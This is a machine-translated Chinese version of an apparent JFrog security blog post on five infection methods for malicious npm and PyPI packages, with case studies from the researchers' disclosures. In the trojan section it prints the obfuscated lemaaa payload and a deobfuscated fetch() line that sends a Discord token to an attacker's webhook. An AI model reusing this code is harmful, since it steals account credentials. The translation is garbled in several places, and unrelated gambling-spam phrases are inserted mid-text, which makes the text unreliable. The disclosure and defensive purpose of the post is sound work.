攻击者用来传播恶意包的五个感染方法示例

恶意软件包系列第2部分(4):JFrog的安全研究人员是如何发现这些恶意代码攻击的

欢迎来到恶意软件包系列的第二篇文章。这篇文章的重点是攻击者用来传播恶意软件包的感染方法,以及JFrog安全研究团队是如何揭示它们的。

如果你错过了第一个博客,以下是一些关键的收获:

  • 第三方软件包包含通过软件供应链交付的漏洞或恶意代码。
  • 在软件供应链攻击中,攻击者将恶意代码或整个恶意组件放入受信任的软件中,从而影响供应链中该软件的消费者。
  • 在过去几年里,使用恶意开源包攻击供应链已成为攻击者的一种流行技术,这主要是因为攻击的高分布潜力和技术上的便便性。

现在,让我们开始吧!

注:以下许多软件供应链攻击实例都是基于实际数据和JFrog安全研究团队识别和披露的恶意软件包。

回顾这些感染方法,找出JFrog的安全研究人员是如何发现和披露它们的。

5感染方法与实例

1.受害

排字感染方法是什么?

Typosquatting(排字抢注)是指通过轻微的排字错误获得(或抢注)一个著名名字的行为。这种做法适用于许多资源,如网页、可执行名称和软件包名称。2022世界杯阿根廷预选赛赛程

假设你购买的域名是google.com,而不是合法的域名google.com,希望用户会出现输入错误,并到达非法域名,用于任何攻击有效载荷,如网络钓鱼和代码注入攻击。这样的攻击在网络上经常发生。同样的事情现在也发生在恶意包上,攻击者使用与流行包名称相似的名称注册它们,但有一个小的拼写错误。攻击者将这些恶意包注册在流行的包库中,如NPM和PyPI,希望开发人员偶尔会犯输入错误并安装它们。

在我们最近看到的一种趋势中,一些维护者和开发人员扮演了积极的角色,并为他们的项目保留了“易于排版”的名称,以防止攻击者控制它们。以类似的方式,谷歌专门注册了google.com域名,所以如果你浏览到google.com,你会被重定向到google.com。试一试!

排版发现:mplatlib包

JFrog的安全研究团队检测到下面使用自动启发式扫描器(检测开源包中的恶意活动)进行排字感染。在本博客系列的第四部分中有更多的内容。

扫描器发现了包名mplatlib是恶意的,因为其中使用了代码混淆技术。同样值得注意的是,它的名称与合法的包非常相似mplotlab

在下面的控制台日志示例中,一个简单的打字错误安装了恶意包mplatlib在研究期间:

的存在mplatlib包和其他恶意包被报告给PyPI并删除。

2.伪装

什么是伪装感染的方法?

伪装是当恶意软件作者或攻击者发布冒充已知包的恶意包。他们复制原始项目的代码和元数据(他们想要模拟原始项目),并在这个副本中添加一小段恶意代码,本质上是构建木马包。

这种感染方法在使用与合法包相同的名称方面类似于排字感染方法。不过,不同之处在于,他们的目的是通过与合法软件包的相似性来欺骗开发人员,而不是由于拼写错误而寻求意外使用。

伪装发现:markedjs包

今年2月,JFrog安全研究团队发现恶意软件包markedjs

的原始名称和元数据markedjs恶意软件包是抄袭正版而流行的标志着包装,使名称难以区分。

存储库的URL、主页和描述与NPM存储库的对比是一样的:

合法标志着包:

恶意软件包markedjs

当比较恶意包(即markedjs)使用原始包(即,标志着)代码,与原始包的唯一区别是一个文件中的一行用黑色标记:

上面例子中用黑色标记的长行不包含可读的代码,它被放置在合法且易读的行中,因此如果没有自动扫描或差分工具,很难找到这一行。这一行是经过模糊处理的恶意代码,是添加到原始合法包中的唯一内容,使此修改具有功能但具有恶意。

3.特洛伊木马

木马包的感染方法是什么?

在木马包感染方法中,攻击者发布一个功能完整的库,但在其中隐藏恶意代码。与伪装技术类似,恶意代码通常很小或很模糊。因此,很难检测和区分包的合法功能。

木马包发现:lemaaa

JFrog的扫描仪捕捉到了恶意木马包lemaaa并在我们的发表于今年二月

该软件包旨在由恶意软件作者用来入侵Discord帐户。

Discord是一款拥有数亿注册用户的通信应用程序,支持语音和视频通话、短信和媒体文件共享。在Discord网络中,用户的身份以一个名为a的字符串表示不和令牌一组字母和数字,作为访问Discord服务器的授权代码。用户的凭证可以有效地让攻击者完全访问Discord帐户。

lemaaa库(下图示例)是一个功能齐全的已发布库,攻击者使用它来窃取Discord令牌。有趣的是,这个包中的木马代码旨在从任何使用此库的攻击者那里窃取Discord令牌。当使用库的实用函数时,木马代码将劫持给予它的秘密Discord令牌,因此基本上这个恶意包攻击想要使用库窃取令牌的攻击者。

下面的代码是经过混淆的恶意代码,它包含一个有效负载,可以劫持所提供的Discord令牌,并将其发送到硬编码的web URL,本质上是将令牌发送到攻击者控制的站点。

混淆代码:

function _0xf28e(){const _0x159601=['DELETE','https://discord.com/api/v8/users/@me ','11317570ajQRNl','application/json','token','random',',\x20\x22nitro_boost\x22:\x20','false', 'https://discord.com/api/v9/users/@me/mfa/totp/disable','https://discord.com/api/v8/guilds/ ','last_4','@gmail.com','true','1315DTGoNg',',\x20\x22early_verified_bot_developer\x 22:\x20','\x22,\x20\x22new_password\x22:\x20\ x20\x22','map','14370OOLNxq','There\x20is\x20no\x20bots',…

在理清这段代码之后,我们可以看到实用程序函数removeAllFriends()使用HTTP POST请求将提供的令牌发送到攻击者控制的网站。

Deobfuscated代码:

async函数removeAllFriends(token){…var _0x3d283a = await _0x1aa523['json'](), malicious_webhook = 'https://canary.discord.com/api/webhooks/884196214302703676/PHJ1-GGrEOV7Zwz2RodFDpazJXmH6OnM60TNEX4RZ-VT-qW5sUUu-dZHCb3s5vApWHHz';await fetch(malicious_webhook, {'method': 'POST', 'headers': {'content - type ': 'application/json'}, 'body': json ['stringify']({'content': " + token})

因为这个函数在恶意软件库中,所以一些代码被混淆是不例外的。因此,恶意软件作者可能会信任它。

4.依赖关系混乱

依赖性混乱感染方法是什么?

依赖关系混乱利用许多包管理器在构建过程中下载依赖项的方式中的漏洞。

在依赖混淆方法中,攻击者使用目标内部包的特定包名,并在外部公共存储库上发布具有确切名称的恶意包。然后攻击者将一个非常高的版本号分配给这个发布的包。大多数默认包管理器更喜欢下载外部恶意包,因为它的高版本号,而不是从合法的内部存储库下载低版本。

我们可以在下面的截图中看到一个恶意包的例子,创建为一项去年由一位名叫亚历克斯·比尔桑的安全研究员发表的研究

在下面的截图中,我们可以看到PyPI中一个公开可用的包,其名称看起来像Netflix的内部包,版本号非常高。

通过此次攻击,Birsan公司让Netflix和苹果、微软等公司的服务器下载恶意的外部软件包,而不是合法的内部软件包,成功地利用了这一漏洞。

依赖混淆攻击发现:mrg-message-broker 9998.987.376

发表的研究JFrog安全研究团队在2021年12月发现了一个使用依赖项混淆攻击传播的恶意包。

JFrog的安全研究人员很快就发现了这种攻击(如下图所示),因为它的版本号高得令人难以置信,这通常不用于标准产品版本控制。这个恶意包的有效载荷是一个环境变量窃取器;在这个恶意包博客系列的下一部分中,我们将对这种有效负载和其他有效负载进行深入分析。

来源:在博客中,恶意的npm包在你的Discord令牌后- 17个新包被披露


5.劫持软件包

软件包劫持感染方法是什么?

最后一种感染方法是软件包劫持

这种方法包括接管一个合法的已知包,并将恶意代码推入其中。虽然这不是一项容易的任务,但它非常有效,因为它可以利用现有软件包的流行来提高感染率。

软件包劫持通常是通过侵入维护者和开发人员的帐户,或者将隐藏的或模糊的恶意代码作为合法代码贡献的一部分注入到开源项目中来执行的。

软件劫持发现:ua-parser-js

2021年10月,一个已知的合法包被攻击和劫持,方法是接管维护者的帐户,并将恶意代码推送到多个版本的包中。下面,您可以查看这个被劫持的包,称为ua-parser-js(下面的例子)。

来源: NPMJS

到目前为止,这个受欢迎的软件包已经有超过15亿的下载量。这里值得注意的是,注入到这个包中的恶意代码与最初伪装成合法的另一个恶意包中的恶意代码相同ua-parser-js包中。

下面是开发者的公告ua-parser-js软件包,称他们认为有人劫持并发布了恶意版本:

“我我相信有人劫持了我的npm帐户,并发布了一些可能会安装恶意软件的泄露包(0.7.29,0.8.0,1.0.0),”ua-parse -js背后的开发者Faisal Salman宣布。

在这一披露以及当时发生的其他类似事件之后,Github执行用于流行NPM包的维护者和管理员的双因素身份验证。

软件劫持发现:颜色和Faker事件

软件包劫持不仅可能由恶意第三方发生,也可能由项目的开发人员和维护者自己发生,就像Colors和Faker开源软件包的著名案例一样。的颜色而且骗子NPM包在Node.js开发人员中非常流行。Colors允许开发人员向Node.js控制台添加样式、字体和颜色,Faker允许他们在开发过程中生成用于测试的数据。这两个软件包是由同一作者开发的,它们非常受欢迎,每周下载数百万次。今年年初,这位作者破坏了两个包裹抗议那些不回馈开源社区的大公司使用他们的代码。他们在自己的代码中添加了一个无限循环,将成千上万个依赖于他们的项目砖块化,只是为了抗议公司。通过对包代码进行一次修改,许多公司都会受到恶意代码的影响,这些恶意代码被添加到他们的产品中。hth华体会最新官方网站

软件劫持发现:网络钓鱼攻击劫持

2022年8月,PyPI团队发现并报告针对PyPI开发者的网络钓鱼活动。PyPI团队提到,这是已知的第一起针对PyPI存储库的网络钓鱼攻击。在这次攻击中,攻击者创建了一个钓鱼网站,要求PyPI用户提供他们的凭据,作为强制“验证”过程的一部分:

钓鱼网站。图片来源: 推特上的PyPI

PyPI团队已经检测并删除了在这次攻击中被黑客攻击的三个合法软件包的恶意发布,并敦促开发人员对他们的用户帐户配置双因素身份验证,以避免这种网络钓鱼攻击。谷歌开源安全团队是Python软件基金会的赞助商之一,也为关键的PyPI项目维护者提供了数量有限的2FA安全密钥。

软件劫持发现:通过域接管进行劫持

通过窃取维护人员的帐户来劫持软件包不仅仅局限于网络钓鱼攻击和凭证盗窃。随着时间的推移,攻击者变得越来越复杂,今年5月,JFrog安全研究人员发表了详尽的分析一种新的劫持方法,使用过期的域名接管。攻击者通过注册包维护人员邮箱地址的过期域,在注册域内重新创建邮箱地址,启动密码恢复过程,进而控制包维护人员的账号。这项研究是在NPM存储库上进行的,由于维护者的电子邮件域名过期,在NPM存储库中发现了3000多个软件包。这是恶意包感染方法的最后一个趋势,在过去的几个月里,我们看到这些攻击有所上升,所以预计很快会看到更多这样的攻击。

正如您可能知道的那样,这些感染方法对DevOps团队和消费者来说是非常严重的。

关于攻击者用来传播恶意软件包的五种感染方法的文章已经结束了,下周我们将在“恶意软件包”系列文章中讨论攻击后的有效载荷阶段。我们将分析恶意软件包中使用的有效负载,以及攻击者如何使用混淆技术将它们隐藏在代码中,并给出JFrog安全研究团队发现的攻击代码示例。

记住,永远有更多的东西要学。注册JFrog 's即将到来的网络研讨会

这个教育系列由网络研讨会改编而成识别和避免恶意包,从技术上展示了目前在PyPI (Python)和npm (Node.js)包库中流行的不同类型的恶意包。